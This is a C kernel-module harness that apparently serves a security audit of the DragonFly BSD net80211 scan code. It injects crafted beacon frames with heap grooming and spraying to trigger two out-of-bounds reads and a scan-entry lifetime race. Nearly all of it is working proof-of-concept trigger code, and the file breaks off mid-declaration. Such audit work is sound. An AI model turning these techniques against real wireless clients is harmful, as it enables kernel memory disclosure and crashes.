/*
 * fwscan.c -- software net80211 radio + beacon-injection harness for the
 * ieee80211_scan_sta.c pass-2 audit (DF-3363 / DF-3364 / DF-3365).
 *
 * Registers a fake wifi radio "fws0" (like DF-3282's fw.c) that supports
 * STA and AHDEMO(+TDMA) operation, then injects fully attacker-controlled
 * beacon frames through the exact production path a real radio uses:
 *
 *	ieee80211_parse_beacon()  ->  ieee80211_add_scan()  ->  sta_add()
 *	  -> ieee80211_ies_init() [saves the RAW IE blob verbatim]
 *	  -> ss_ops->scan_end()   ->  sta_pick_bss/adhoc_pick_bss
 *	      -> select_bss -> ieee80211_ies_expand -> match_bss/sta_compare
 *	      -> maxrate() / tdma_isfull()   [the OOB read sinks]
 *
 * There is no authentication of beacon/probe-response frames in 802.11:
 * anything an attacker within radio range transmits reaches this code.
 * The injection below is byte-for-byte equivalent to over-air reception.
 *
 * sysctls:
 *   fwscan.mkvap  1 = create STA vap "wlan9"
 *                 2 = create AHDEMO+TDMA vap "wlan9" (needs C_TDMA radio)
 *   fwscan.test   test selector:
 *                 1  = DF-3363 main: 0xff-groom + B(trailing HTCAP len=0)
 *                 2  = DF-3363 ctrl: 0x00-groom + B(trailing HTCAP len=0)
 *                 3  = DF-3363 ctrl: 0xff-groom + B(valid 26B zero HTCAP)
 *                 11 = DF-3364 main: 0xff-groom + C(TDMA IE slotcnt=255)
 *                 12 = DF-3364 ctrl: 0x00-groom + C(TDMA IE slotcnt=255)
 *                 13 = DF-3364 ctrl: 0xff-groom + C(TDMA IE slotcnt=8)
 *   fwscan.race   seconds to run the DF-3365 free-vs-use race (0=off)
 *   fwscan.spray  groom spray count (default 96)
 */
/* module-local config (opt_wlan.h generation is unreliable for kmods) */
#define	IEEE80211_SUPPORT_TDMA	1
#define	IEEE80211_SUPPORT_MESH	1
#include "opt_wlan.h"

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <sys/thread.h>

#include <net/if.h>
#include <net/if_var.h>
#include <net/if_media.h>
#include <net/ifq_var.h>
#include <net/ethernet.h>

#include <netproto/802_11/ieee80211.h>
#include <netproto/802_11/ieee80211_var.h>
#include <netproto/802_11/ieee80211_proto.h>
#include <netproto/802_11/ieee80211_input.h>
#include <netproto/802_11/ieee80211_regdomain.h>
#include <netproto/802_11/ieee80211_ratectl.h>
#include <netproto/802_11/ieee80211_dragonfly.h>
#ifdef IEEE80211_SUPPORT_TDMA
#include <netproto/802_11/ieee80211_tdma.h>
#endif

struct fw_vap {
	struct ieee80211vap		fw_vap;
	int				(*fw_newstate)(struct ieee80211vap *,
					    enum ieee80211_state, int);
};
#define	FW_VAP(vap)	((struct fw_vap *)(vap))

struct fw_softc {
	struct ieee80211com		sc_ic;
	int				fw_running;
};

static int	fw_newstate(struct ieee80211vap *, enum ieee80211_state, int);
static struct ieee80211vap *
		fw_vap_create(struct ieee80211com *, const char [IFNAMSIZ], int,
		    enum ieee80211_opmode, int, const uint8_t [IEEE80211_ADDR_LEN],
		    const uint8_t [IEEE80211_ADDR_LEN]);
static void	fw_vap_delete(struct ieee80211vap *);
static void	fw_parent(struct ieee80211com *);
static int	fw_raw_xmit(struct ieee80211_node *, struct mbuf *,
		    const struct ieee80211_bpf_params *);
static int	fw_transmit(struct ieee80211com *, struct mbuf *);
static void	fw_nop_ic(struct ieee80211com *);

static struct fw_softc *fw_sc = NULL;

static int	fw_test;			/* sysctl fwscan.test */
static int	fw_race;			/* sysctl fwscan.race */
static int	fw_spray = 96;			/* sysctl fwscan.spray */
static volatile int fw_race_stop;

static int
fw_newstate(struct ieee80211vap *vap, enum ieee80211_state nstate, int arg)
{
	struct fw_vap *nvp = FW_VAP(vap);

	return nvp->fw_newstate(vap, nstate, arg);
}

static struct ieee80211vap *
fw_vap_create(struct ieee80211com *ic, const char name[IFNAMSIZ], int unit,
    enum ieee80211_opmode opmode, int flags,
    const uint8_t bssid[IEEE80211_ADDR_LEN],
    const uint8_t mac[IEEE80211_ADDR_LEN])
{
	struct fw_vap *nvp;
	struct ieee80211vap *vap;

	switch (opmode) {
	case IEEE80211_M_STA:
	case IEEE80211_M_AHDEMO:
	case IEEE80211_M_IBSS:
		if (!TAILQ_EMPTY(&ic->ic_vaps)) {
			kprintf("fwscan: only 1 vap supported\n");
			return NULL;
		}
		break;
	default:
		kprintf("fwscan: opmode %d not supported\n", opmode);
		return NULL;
	}
	nvp = kmalloc(sizeof(struct fw_vap), M_80211_VAP, M_WAITOK | M_ZERO);
	vap = &nvp->fw_vap;
	ieee80211_vap_setup(ic, vap, name, unit, opmode, flags, bssid);

	nvp->fw_newstate = vap->iv_newstate;
	vap->iv_newstate = fw_newstate;

	ieee80211_ratectl_init(vap);
	ieee80211_vap_attach(vap, ieee80211_media_change,
	    ieee80211_media_status, mac);
	ic->ic_opmode = opmode;
	kprintf("fwscan: vap %s (%s) created\n", vap->iv_ifp->if_xname,
	    opmode == IEEE80211_M_STA ? "STA" :
	    (opmode == IEEE80211_M_AHDEMO ?
	     ((vap->iv_caps & IEEE80211_C_TDMA) ? "AHDEMO+TDMA" : "AHDEMO") :
	     "IBSS"));
	return vap;
}

static void
fw_vap_delete(struct ieee80211vap *vap)
{
	struct fw_vap *nvp = FW_VAP(vap);

	ieee80211_ratectl_deinit(vap);
	ieee80211_vap_detach(vap);
	kfree(nvp, M_80211_VAP);
}

static void
fw_parent(struct ieee80211com *ic)
{
	struct fw_softc *sc = ic->ic_softc;
	int startall = 0;

	if (ic->ic_nrunning > 0) {
		if (!sc->fw_running) {
			sc->fw_running = 1;
			startall = 1;
		}
	} else
		sc->fw_running = 0;
	if (startall)
		ieee80211_start_all(ic);
}

static int
fw_raw_xmit(struct ieee80211_node *ni, struct mbuf *m,
    const struct ieee80211_bpf_params *params)
{
	if (params != NULL)
		;
	m_freem(m);
	ieee80211_free_node(ni);
	return 0;
}

static int
fw_transmit(struct ieee80211com *ic, struct mbuf *m)
{
	struct mbuf *n;

	while (m != NULL) {
		n = m->m_nextpkt;
		m->m_nextpkt = NULL;
		if (m->m_pkthdr.rcvif != NULL)
			ieee80211_tx_complete(
			    (struct ieee80211_node *)m->m_pkthdr.rcvif, m, 0);
		else
			m_freem(m);
		m = n;
	}
	return 0;
}

static void
fw_nop_ic(struct ieee80211com *ic)
{
}

/*
 * ---------------------------------------------------------------- --
 * beacon injection: byte-for-byte what a driver hands up from the air
 * ---------------------------------------------------------------- --
 */
static const uint8_t bcast[IEEE80211_ADDR_LEN] =
    { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };

static void
hexdump16(const char *tag, const uint8_t *p, int n)
{
	int i;

	kprintf("%s", tag);
	for (i = 0; i < n; i++)
		kprintf("%02x%s", p[i], (i % 16 == 15 || i == n-1) ? "\n" : " ");
}

/*
 * ies must already contain SSID/RATES/DSPARMS consistent with curchan.
 * Returns parse status (0 == fully accepted).
 */
static int
inject_beacon(struct ieee80211vap *vap, const uint8_t mac[IEEE80211_ADDR_LEN],
    const uint8_t bssid[IEEE80211_ADDR_LEN], uint16_t capinfo, int rssi,
    const uint8_t *ies, int ies_len)
{
	struct ieee80211com *ic = vap->iv_ic;
	struct ieee80211_node *ni = vap->iv_bss;
	struct ieee80211_scanparams sp;
	struct mbuf *m;
	uint8_t *p;
	int status, try;

	for (try = 0; try < 6; try++) {
		if (ic->ic_curchan == NULL || ic->ic_curchan->ic_freq == 0) {
			tsleep(&fw_test, 0, "fwcur", hz / 10);
			continue;
		}
		m = m_gethdr(M_WAITOK, MT_DATA);
		p = mtod(m, uint8_t *);
		memset(p, 0, 24);
		p[0] = IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_BEACON;
		p[1] = 0;				/* flags */
		IEEE80211_ADDR_COPY(p + 4, bcast);	/* addr1 */
		IEEE80211_ADDR_COPY(p + 10, mac);	/* addr2 = SA */
		IEEE80211_ADDR_COPY(p + 16, bssid);	/* addr3 = BSSID */
		p += 24;
		memset(p, 0, 8);			/* tstamp */
		p[8] = 100; p[9] = 0;			/* bintval 100 TU */
		p[10] = (uint8_t)capinfo;		/* capinfo (le) */
		p[11] = (uint8_t)(capinfo >> 8);
		p += 12;
		memcpy(p, ies, ies_len);
		m->m_len = m->m_pkthdr.len = 24 + 12 + ies_len;

		status = ieee80211_parse_beacon(ni, m, ic->ic_curchan, &sp);
		if (status == 0) {
			ieee80211_add_scan(vap, ic->ic_curchan, &sp,
			    mtod(m, struct ieee80211_frame *),
			    IEEE80211_FC0_SUBTYPE_BEACON, rssi, -95);
			m_freem(m);
			return 0;
		}
		kprintf("fwscan: %s parse status 0x%x try %d (sp.chan %u "
		    "bchan %u)\n", ether_sprintf(mac), status, try,
		    sp.chan, sp.bchan);
		m_freem(m);
		if ((status & ~IEEE80211_BPARSE_OFFCHAN) == 0) {
			/* only the curchan race: retry */
			tsleep(&fw_test, 0, "fwcur", hz / 20);
			continue;
		}
		return status;
	}
	return -1;
}

/* append an IE, return new tail pointer */
static uint8_t *
put_ie(uint8_t *p, uint8_t id, uint8_t len, uint8_t fill)
{
	int i;

	*p++ = id;
	*p++ = len;
	for (i = 0; i < len; i++)
		*p++ = fill;
	return p;
}

/*
 * Build the standard prefix every accepted beacon needs:
 *   SSID(4) + RATES(n) + DSPARMS(cur chan)
 * Returns tail; *lenp updated.
 */
static uint8_t *
put_prefix(uint8_t *p, int *lenp, int chan_ieee, const uint8_t *rates, int nr)
{
	int i;

	*p++ = IEEE80211_ELEMID_SSID; *p++ = 4;
	*p++ = 'f'; *p++ = 'w'; *p++ = 's'; *p++ = '1';
	*p++ = IEEE80211_ELEMID_RATES; *p++ = nr;
	for (i = 0; i < nr; i++)
		*p++ = rates[i];
	*p++ = IEEE80211_ELEMID_DSPARMS; *p++ = 1; *p++ = chan_ieee;
	*lenp += 6 + 2 + nr + 3;
	return p;
}

/*
 * Iterate callback: dump each cache entry, and for entries carrying a
 * short htcap/tdma IE print the exact bytes maxrate()/tdma_isfull()
 * will read -- including the ones beyond the end of the blob.
 */
struct dump_ctx { int n; };

static void
dump_entry(void *arg, const struct ieee80211_scan_entry *se)
{
	struct dump_ctx *d = arg;
	const uint8_t *ie;

	d->n++;
	kprintf("fwscan: entry[%d] mac %s rssi %d blob %p len %u\n", d->n,
	    ether_sprintf(se->se_macaddr), se->se_rssi,
	    se->se_ies.data, se->se_ies.len);
	kprintf("  blob tail (last 8 bytes): ");
	hexdump16("", se->se_ies.data + se->se_ies.len - 8, 8);
	kprintf("  bytes at blob_end..+15 (OOB for a trailing short IE): ");
	hexdump16("", se->se_ies.data + se->se_ies.len, 16);

	ie = se->se_ies.htcap_ie;
	if (ie != NULL) {
		int off = ie - se->se_ies.data;
		kprintf("  htcap_ie: off %d, ie_len %u, bytes from IE end "
		    "to blob end: %d\n", off, ie[1],
		    (int)se->se_ies.len - (off + 2 + ie[1]));
		kprintf("  maxrate reads IE+2..IE+17 (18 bytes):\n  ");
		hexdump16("  ", ie + 2, 18);
	}
	ie = se->se_ies.tdma_ie;
	if (ie == NULL) {
		/* expand happens lazily inside select_bss; do it now so we
		 * can trace what match_bss/tdma_isfull will read */
		ieee80211_ies_expand(__DECONST(struct ieee80211_ies *,
		    &se->se_ies));
		ie = se->se_ies.tdma_ie;
	}
	if (ie != NULL) {
		int off = ie - se->se_ies.data;
		kprintf("  tdma_ie: off %d, ie_len %u, slotcnt %u inuse %02x\n",
		    off, ie[1], ie[9], ie[13]);
		if (ie[9] > 8) {
			int last = 13 + ((ie[9] - 1) >> 3);
			kprintf("  tdma_isfull will read tdma_inuse[0..%d] "
			    "(bytes %d..%d of blob, blob len %u):\n",
			    (ie[9] - 1) >> 3, last, last,
			    se->se_ies.len);
			hexdump16("  ", se->se_ies.data, se->se_ies.len);
			kprintf("  beyond-blob bytes (the OOB source):\n");
			hexdump16("  ", se->se_ies.data + se->se_ies.len, 33);
			/* trace the actual walk tdma_isfull() performs */
			{
				int slot, cleared = -1;
				for (slot = ie[9] - 1; slot >= 0; slot--) {
					const uint8_t *inuse = ie + 13;
					if ((inuse[slot >> 3] &
					    (1 << (slot & 7))) == 0) {
						cleared = slot;
						break;
					}
				}
				kprintf("  walk-trace: first clear slot = %d "
				    "(%s) => tdma_isfull returns %s\n",
				    cleared,
				    cleared >= 8 && (13 + (cleared >> 3)) >=
				      (int)se->se_ies.len ?
				    "OOB-derived" : "in-bounds",
				    cleared >= 0 ? "NOT-full" : "full");
			}
		}
	}
}

static struct ieee80211vap *
first_vap(void)
{
	struct fw_softc *sc = fw_sc;

	if (sc == NULL)
		return NULL;
	return TAILQ_FIRST(&sc->sc_ic.ic_vaps);
}

/*
 * Groom: allocate fw_spray blobs of exactly 64 bytes whose content is
 * `fill', then flush the cache.  Freed 64-byte chunks retain their
 * content, so a subsequent 64-byte blob allocation lands between
 * groom-filled neighbours.
 */
static void
groom64(struct ieee80211vap *vap, int chan_ieee, uint8_t fill)
{
	uint8_t ies[128];
	uint8_t mac[IEEE80211_ADDR_LEN];
	uint8_t *p;
	int len, i, pad;

	for (i = 0; i < fw_spray; i++) {
		len = 0;
		p = put_prefix(ies, &len, chan_ieee,
		    (const uint8_t []){ 0x82 }, 1);
		/* vendor pad to make blob exactly 64 bytes, filled */
		pad = 64 - len - 2;
		p = put_ie(p, IEEE80211_ELEMID_VENDOR, pad, fill);
		len += 2 + pad;
		KKASSERT(len == 64);
		mac[0] = 0x02; mac[1] = 0xaa;
		mac[2] = 0x00; mac[3] = 0x00;
		mac[4] = i >> 8; mac[5] = i & 0xff;
		if (inject_beacon(vap, mac, mac, 0x0001, 30, ies, len) != 0)
			kprintf("fwscan: groom beacon %d parse failed!\n", i);
	}
	ieee80211_scan_flush(vap);
	kprintf("fwscan: groom done (%d x 64B blobs, fill 0x%02x, flushed)\n",
	    fw_spray, fill);
}

static void
report_join(struct ieee80211vap *vap)
{

	if (vap->iv_bss != NULL)
		kprintf("fwscan: post-selection iv_bss mac %s bssid %s\n",
		    ether_sprintf(vap->iv_bss->ni_macaddr),
		    ether_sprintf(vap->iv_bss->ni_bssid));
	else
		kprintf("fwscan: post-selection iv_bss NULL\n");
}

/*
 * DF-3363: maxrate() heap OOB read via short trailing HTCAP IE.
 *
 * A = 02:11:11:11:11:11, 54 Mbps legacy, no HT IE  -> maxrate = 108
 * B = 02:22:22:22:22:22, 5.5 Mbps legacy, trailing HTCAP len=0 in a
 *     blob that is EXACTLY 64 bytes -> maxrate's reads at IE+2..IE+17
 *     run 1..16 bytes past the kmalloc(64) blob; groom bytes decide
 *     whether B looks like a phantom MCS31 HT40 AP (B wins) or not.
 */
static void
run_htcap_oob(int variant)
{
	struct ieee80211vap *vap = first_vap();
	struct ieee80211com *ic;
	struct ieee80211_scan_state *ss;
	struct dump_ctx d;
	uint8_t iesA[64], iesB[80];
	uint8_t macA[6] = { 0x02, 0x11, 0x11, 0x11, 0x11, 0x11 };
	uint8_t macB[6] = { 0x02, 0x22, 0x22, 0x22, 0x22, 0x22 };
	uint8_t *p;
	int len, chan_ieee, res;

	if (vap == NULL || vap->iv_opmode != IEEE80211_M_STA) {
		kprintf("fwscan: need a STA vap "
		    "(ifconfig wlan create wlandev fws0 wlanmode sta up)\n");
		return;
	}
	ic = vap->iv_ic;
	ss = ic->ic_scan;
	chan_ieee = ieee80211_chan2ieee(ic, ic->ic_curchan);

	wlan_serialize_enter();

	ieee80211_scan_flush(vap);
	ss->ss_flags &= ~(IEEE80211_SCAN_NOPICK | IEEE80211_SCAN_NOJOIN |
	    IEEE80211_SCAN_GOTPICK);
	ss->ss_ops->scan_start(ss, vap);		/* sta_start */

	groom64(vap, chan_ieee, variant == 2 ? 0x00 : 0xff);


	/* A: SSID+RATES(1,2,5.5,11,54)+DSPARMS = 6+7+3 = 16 bytes blob */
	len = 0;
	p = put_prefix(iesA, &len, chan_ieee,
	    (const uint8_t []){ 0x82, 0x84, 0x8b, 0x96, 0x6c }, 5);
	KKASSERT(len == 16);
	if (inject_beacon(vap, macA, macA, 0x0001, 30, iesA, len) != 0)
		kprintf("fwscan: beacon A parse FAILED\n");

	/* B: SSID+RATES(1,2,5.5)+DSPARMS + VENDOR pad + HTCAP(len 0 or 26)
	 *    blob must be EXACTLY 64 bytes. */
	len = 0;
	p = put_prefix(iesB, &len, chan_ieee,
	    (const uint8_t []){ 0x82, 0x84, 0x8b }, 3);
	if (variant == 3) {
		p = put_ie(p, IEEE80211_ELEMID_VENDOR, 64 - len - 2 - 28, 0xff);
		len += 2 + (64 - len - 2 - 28);
		*p++ = IEEE80211_ELEMID_HTCAP; *p++ = 26;	/* valid len */
		memset(p, 0, 26); p += 26; len += 28;
	} else {
		p = put_ie(p, IEEE80211_ELEMID_VENDOR, 64 - len - 2 - 2, 0xff);
		len += 2 + (64 - len - 2 - 2);
		*p++ = IEEE80211_ELEMID_HTCAP; *p++ = 0;		/* len 0! */
		len += 2;
	}
	KKASSERT(len == 64);
	if (inject_beacon(vap, macB, macB, 0x0001, 30, iesB, len) != 0)
		kprintf("fwscan: beacon B parse FAILED\n");
	/*
	 * Neighbor spray: allocate MANY live 64-byte blobs filled with
	 * `fill' AFTER B's blob exists, so the chunk physically following
	 * B's blob (the memory maxrate reads out-of-bounds) is one of
	 * these with near-certainty, independent of allocator ordering.
	 */
	{
		uint8_t iesE[80];
		uint8_t macE[6];
		int lenE, i, padE;

		for (i = 0; i < fw_spray; i++) {
			lenE = 0;
			p = put_prefix(iesE, &lenE, chan_ieee,
			    (const uint8_t []){ 0x82 }, 1);
			padE = 64 - lenE - 2;
			p = put_ie(p, IEEE80211_ELEMID_VENDOR, padE,
			    variant == 2 ? 0x00 : 0xff);
			lenE += 2 + padE;
			KKASSERT(lenE == 64);
			macE[0] = 0x02; macE[1] = 0xee;
			macE[2] = 0x00; macE[3] = 0x00;
			macE[4] = i >> 8; macE[5] = i & 0xff;
			if (inject_beacon(vap, macE, macE, 0x0001, 20,
			    iesE, lenE) != 0)
				kprintf("fwscan: neighbor spray %d FAILED\n",
				    i);
		}
		kprintf("fwscan: neighbor spray done (%d live 64B blobs, "
		    "fill 0x%02x)\n", fw_spray, variant == 2 ? 0x00 : 0xff);
	}

	/*
	 * Re-inject A and B: the background scan loop bumps se_notseen on
	 * entries not re-seen during its cycles, which would fail them
	 * with MATCH_NOTSEEN nondeterministically.  A re-inject re-marks
	 * the entry seen (and re-copies the identical blob).
	 */
	if (inject_beacon(vap, macA, macA, 0x0001, 30, iesA, 16) != 0)
		kprintf("fwscan: beacon A re-inject FAILED\n");
	if (inject_beacon(vap, macB, macB, 0x0001, 30, iesB, 64) != 0)
		kprintf("fwscan: beacon B re-inject FAILED\n");

	d.n = 0;
	ieee80211_scan_iterate(vap, dump_entry, &d);

	kprintf("fwscan: --- calling ss_ops->scan_end (sta_pick_bss) ---\n");
	IEEE80211_LOCK(ic);	/* taskq scan_end context */
	res = ss->ss_ops->scan_end(ss, vap);
	IEEE80211_UNLOCK(ic);
	kprintf("fwscan: scan_end -> %d\n", res);
	report_join(vap);

	wlan_serialize_exit();
}

#ifdef IEEE80211_SUPPORT_TDMA
/*
 * DF-3364: tdma_isfull()/match_bss() heap OOB read via TDMA vendor IE
 * with unvalidated slot count.
 *
 * C = 02:33:33:33:33:33, TDMA master beacon (slot 0, version 2),
 * inuse[0] = 0xff (all 8 legal slots busy), slotcnt = 255 (or 8 for the
 * control).  With slotcnt=255 tdma_isfull scans tdma_inuse bits 8..254,
 * i.e. blob bytes 14..44 -- past the end of the exactly-64-byte blob;
 * groom bytes decide full (C rejected) vs not-full (C joined).
 */
static void
run_tdma_oob(int variant)
{
	struct ieee80211vap *vap = first_vap();
	struct ieee80211com *ic;
	struct ieee80211_scan_state *ss;
	struct dump_ctx d;
	uint8_t ies[128];
	uint8_t macC[6] = { 0x02, 0x33, 0x33, 0x33, 0x33, 0x33 };
	uint8_t *p;
	int len, chan_ieee, res, pad;

	if (vap == NULL || vap->iv_opmode != IEEE80211_M_AHDEMO ||
	    (vap->iv_caps & IEEE80211_C_TDMA) == 0 ||
	    vap->iv_tdma == NULL) {
		kprintf("fwscan: need an AHDEMO+TDMA vap "
		    "(ifconfig wlan create wlandev fws0 wlanmode tdma up)\n");
		return;
	}
	ic = vap->iv_ic;
	ss = ic->ic_scan;
	chan_ieee = ieee80211_chan2ieee(ic, ic->ic_curchan);
	kprintf("fwscan: vap tdma version %u slotcnt %u\n",
	    vap->iv_tdma->tdma_version, vap->iv_tdma->tdma_slotcnt);

	wlan_serialize_enter();

	ieee80211_scan_flush(vap);
	/*
	 * NOJOIN: adhoc_pick_bss runs the full selection (select_bss ->
	 * match_bss -> tdma_isfull) and RETURNS whether a candidate
	 * matched (scan_end != 0) without joining (the TDMA join state
	 * machine needs real driver timing and would hang this fake radio).
	 */
	ss->ss_flags &= ~(IEEE80211_SCAN_NOPICK | IEEE80211_SCAN_GOTPICK);
	ss->ss_flags |= IEEE80211_SCAN_NOJOIN;
	ss->ss_ops->scan_start(ss, vap);		/* adhoc_start */

	groom64(vap, chan_ieee, variant == 12 || variant == 15 || variant == 16 ? 0x00 : 0xff);

	/* D: live 64-byte blob occupying the chunk AFTER C's blob */
	{
		uint8_t iesD[80];
		uint8_t macD[6] = { 0x02, 0x55, 0x55, 0x55, 0x55, 0x55 };
		int lenD = 0, padD;

		p = put_prefix(iesD, &lenD, chan_ieee,
		    (const uint8_t []){ 0x82 }, 1);
		padD = 64 - lenD - 2;
		p = put_ie(p, IEEE80211_ELEMID_VENDOR, padD,
		    variant == 12 || variant == 15 || variant == 16 ? 0x00 : 0xff);
		lenD += 2 + padD;
		KKASSERT(lenD == 64);
		if (inject_beacon(vap, macD, macD, 0x0000, 30, iesD,
		    lenD) != 0)
			kprintf("fwscan: beacon D parse FAILED\n");
	}

	/* C: prefix + VENDOR pad + TDMA IE (2+12=14) = 64
	 * rates include 11M: the TDMA vap pins ucastrate=2*11 (fixed). */
	len = 0;
	p = put_prefix(ies, &len, chan_ieee,
	    (const uint8_t []){ 0x82, 0x84, 0x8b, 0x96 }, 4);
	pad = 64 - len - 2 - (variant == 17 ? 24 : 14);
	p = put_ie(p, IEEE80211_ELEMID_VENDOR, pad, 0xff);
	len += 2 + pad;
	/* TDMA param IE */
	p[0] = IEEE80211_ELEMID_VENDOR; p[1] = variant == 17 ? 22 : 12;
	p[2] = 0x00; p[3] = 0x03; p[4] = 0x7f;		/* ATH/TDMA OUI */
	p[5] = 0x02;					/* TDMA_OUI_TYPE */
	p[6] = 0x01;					/* SUBTYPE_PARAM */
	p[7] = 0x02;					/* version 2 */
	p[8] = 0x00;					/* slot 0 = master */
	if (variant == 17) {
		/* full-length TDMA param IE (tdma_len = 22) */
		p[0] = IEEE80211_ELEMID_VENDOR; p[1] = 22;
		p[2] = 0x00; p[3] = 0x03; p[4] = 0x7f;
		p[5] = 0x02; p[6] = 0x01; p[7] = 0x02;
		p[8] = 0x00; p[9] = 8;			/* slotcnt */
		p[10] = 0x10; p[11] = 0x27;
		p[12] = 5; p[13] = 0x00;			/* inuse */
		memset(p + 14, 0, 8);			/* pad + tstamp */
		p += 24; len += 24;
	} else {
		p[9] = variant == 13 || variant == 16 ? 8 :
		    (variant == 14 ? 8 : 255);		/* slotcnt */
		p[10] = 0x10; p[11] = 0x27;		/* slotlen */
		p[12] = 5;				/* bintval */
		p[13] = variant == 14 || variant == 15 ? 0x00 : 0xff;
		p += 14; len += 14;
	}
	KKASSERT(len == 64);
	if (inject_beacon(vap, macC, macC, 0x0000, 30, ies, len) != 0)
		kprintf("fwscan: beacon C parse FAILED\n");

	/*
	 * Neighbor spray AFTER C: cover the chunk(s) following C's blob --
	 * tdma_isfull reads up to 30 bytes past the blob end.
	 */
	{
		uint8_t iesE[80];
		uint8_t macE[6];
		int lenE, i, padE;

		for (i = 0; i < fw_spray; i++) {
			lenE = 0;
			p = put_prefix(iesE, &lenE, chan_ieee,
			    (const uint8_t []){ 0x82 }, 1);
			padE = 64 - lenE - 2;
			p = put_ie(p, IEEE80211_ELEMID_VENDOR, padE,
			    variant == 12 || variant == 15 || variant == 16 ? 0x00 : 0xff);
			lenE += 2 + padE;
			KKASSERT(lenE == 64);
			macE[0] = 0x02; macE[1] = 0xee;
			macE[2] = 0x00; macE[3] = 0x00;
			macE[4] = i >> 8; macE[5] = i & 0xff;
			if (inject_beacon(vap, macE, macE, 0x0000, 20,
			    iesE, lenE) != 0)
				kprintf("fwscan: neighbor spray %d FAILED\n",
				    i);
		}
		kprintf("fwscan: neighbor spray done (%d live 64B blobs, "
		    "fill 0x%02x)\n", fw_spray,
		    variant == 12 || variant == 15 || variant == 16 ?
		    0x00 : 0xff);
	}

	/* re-inject C: defeat the background scan's se_notseen bumping */
	if (inject_beacon(vap, macC, macC, 0x0000, 30, ies, 64) != 0)
		kprintf("fwscan: beacon C re-inject FAILED\n");

	d.n = 0;
	ieee80211_scan_iterate(vap, dump_entry, &d);

	kprintf("fwscan: --- calling ss_ops->scan_end (adhoc_pick_bss, "
	    "NOJOIN) ---\n");
	IEEE80211_LOCK(ic);	/* taskq scan_end context */
	res = ss->ss_ops->scan_end(ss, vap);
	IEEE80211_UNLOCK(ic);
	kprintf("fwscan: scan_end -> %d  (%s: tdma_isfull read %s bytes "
	    "past the blob and saw %s slots)\n", res,
	    res ? "C ACCEPTED" : "C REJECTED",
	    "OOB",
	    res ? "free" : "all-in-use");
	report_join(vap);

	/* second dump: did anything change between the two reads? */
	d.n = 1000;
	ieee80211_scan_iterate(vap, dump_entry, &d);

	wlan_serialize_exit();
}
#endif	/* IEEE80211_SUPPORT_TDMA */

/*
 * DF-3365: entry-lifetime race.
 *
 * Thread 1 (this sysctl context, holds the wlan serializer -- exactly the
 * locking discipline of the driver rx path): loops beacon injection for
 * one MAC with PICK1ST armed and rssi=1 (match_bss always fails, so every
 * single sta_add() executes the unlocked match_bss() tail at
 * ieee80211_scan_sta.c:403 after TABLE_UNLOCK at :397).
 *
 * Thread 2 (a kernel thread with NO serializer -- exactly the locking
 * discipline of ieee80211_node_timeout()->ieee80211_scan_timeout()->
 * scan_age()/sta_flush(): table lock only): loops cache flushes, freeing
 * the entry Thread 1 is match_bss()ing.
 */
struct fw_race_ctx {
	struct ieee80211com *ic;
};

static void
fw_flusher_thread(void *arg)
{
	struct fw_race_ctx *rc = arg;
	struct ieee80211_scan_state *ss = rc->ic->ic_scan;

	kprintf("fwscan: flusher thread up (NO wlan serializer, "
	    "table-lock-only discipline, like node_timeout/scan_age)\n");
	while (!fw_race_stop) {
		if (ss->ss_ops != NULL)
			ss->ss_ops->scan_flush(ss);	/* sta_flush */
		tsleep(&fw_race_stop, 0, "fwflsh", 1);
	}
	kprintf("fwscan: flusher thread done\n");
	wakeup(&fw_race);
	lwkt_exit();
}

static void
run_race(int seconds)
{
	struct ieee80211vap *vap = first_vap();
	struct ieee80211com *ic;
	struct ieee80211_scan_state *ss;
	struct fw_race_ctx rc;
	thread_t td;
	uint8_t ies[64];
	uint8_t macR[6] = { 0x02, 0x44, 0x44, 0x44, 0x44, 0x44 };
	uint8_t *p;
	int len, chan_ieee, i, iters = 0;
	u_long deadline;

	if (vap == NULL || vap->iv_opmode != IEEE80211_M_STA) {
		kprintf("fwscan: race needs the STA vap\n");
		return;
	}
	ic = vap->iv_ic;
	ss = ic->ic_scan;
	chan_ieee = ieee80211_chan2ieee(ic, ic->ic_curchan);

	len = 0;
	p = put_prefix(ies, &len, chan_ieee, (const uint8_t []){ 0x82 }, 1);

	wlan_serialize_enter();
	ss->ss_flags |= IEEE80211_SCAN_PICK1ST;	/* arm the :403 tail */
	ss->ss_flags &= ~(IEEE80211_SCAN_GOTPICK |
	    IEEE80211_SCAN_NOPICK | IEEE80211_SCAN_NOJOIN);
	wlan_serialize_exit();

	fw_race_stop = 0;
	rc.ic = ic;
	if (lwkt_create(fw_flusher_thread, &rc, &td, NULL, 0, 0,
	    "fwflush") != 0) {
		kprintf("fwscan: lwkt_create failed\n");
		return;
	}
	deadline = ticks + seconds * hz;
	kprintf("fwscan: racing injector vs flusher for %ds...\n", seconds);
	wlan_serialize_enter();
	while ((long)(ticks - deadline) < 0) {
		for (i = 0; i < 50; i++) {
			/* rssi 1 < STA_RSSI_MIN(8): match fails, GOTPICK
			 * never set, the unlocked match_bss tail runs on
			 * EVERY beacon */
			if (inject_beacon(vap, macR, macR, 0x0001, 1,
			    ies, len) != 0)
				break;
			iters++;
		}
		/* let the flusher breathe on this cpu too */
		tsleep(&fw_race_stop, 0, "fwinj", 1);
	}
	wlan_serialize_exit();
	fw_race_stop = 1;
	tsleep(&fw_race, 0, "fwstop", hz);
	kprintf("fwscan: race finished: %d injections survived "
	    "(no panic => window not hit or hit silently)\n", iters);
}

/*
 * ---------------------------------------------------------------- --
 * sysctl front-ends
 * ---------------------------------------------------------------- --
 */
static int
fw_test_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct fw_softc *sc = fw_sc;
	int error, v = fw_test;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	fw_test = v;
	if (v == 0 || sc == NULL)
		return 0;
	kprintf("fwscan: ===== TEST %d START =====\n", v);
	switch (v) {
	case 1: case 2: case 3:
		run_htcap_oob(v);
		break;
#ifdef IEEE80211_SUPPORT_TDMA
	case 11: case 12: case 13: case 14: case 17: case 15: case 16:
		run_tdma_oob(v);
		break;
#endif
	default:
		kprintf("fwscan: unknown test %d\n", v);
		break;
	}
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fwscan_test, CTLTYPE_INT | CTLFLAG_RW,
